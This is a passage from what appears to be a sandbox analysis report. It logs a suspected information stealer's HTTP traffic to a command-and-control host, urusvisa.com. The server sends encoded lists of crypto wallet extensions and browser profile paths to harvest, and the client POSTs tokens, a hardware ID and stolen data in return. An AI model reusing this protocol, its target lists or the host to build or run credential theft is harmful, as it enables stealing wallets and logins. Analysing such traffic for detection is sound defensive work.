name="build_id"a669a86f8433a1e88901711c0f772c97------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="mode"2------DAKFCGIJKJKFHIDHIIIE--
Sep 30, 2024 12:23:08.380986929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 12:23:08.381007910 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
Sep 30, 2024 12:23:08.381030083 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Sep 30, 2024 12:23:08.381045103 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
Sep 30, 2024 12:23:08.381058931 CEST	1236	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Sep 30, 2024 12:23:08.381074905 CEST	675	IN	Data Raw: 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 31 72 63 47 56 6e 61 6d 74 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 Data Ascii: pYyBFZGVuIFdhbGxldHwxfG1rcGVnamtibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYW
Sep 30, 2024 12:23:08.469363928 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:23:08.471004963 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="mode"21------IIEBKJECFCFBFIECBKFB--
Sep 30, 2024 12:23:09.011620045 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 12:23:09.103780985 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDH Host: urusvisa.com Content-Length: 7601 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:09.103780985 CEST	7601	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------BGDHDAFIDGDBGC
Sep 30, 2024 12:23:09.771126986 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:23:09.835469961 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIE Host: urusvisa.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:09.835510969 CEST	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DAKFCGIJKJKFHI
Sep 30, 2024 12:23:10.384798050 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	52553	5.42.101.62	80	8060	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:23:13.920013905 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:15.038125992 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:23:15.043402910 CEST	434	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: urusvisa.com Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DBFBFBGDBKJJKFIEHJDB--
Sep 30, 2024 12:23:15.602329969 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|1e321ad8c3417c4417e457ca2d241a02\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 12:23:15.603496075 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="mode"1------AAFHIIDHJEBFBFIDAKFB--
Sep 30, 2024 12:23:16.136049986 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 12:23:16.136073112 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 12:23:16.137545109 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="mode"2------FHDAEHDAKECGCAKFCFIJ--
Sep 30, 2024 12:23:16.702856064 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcn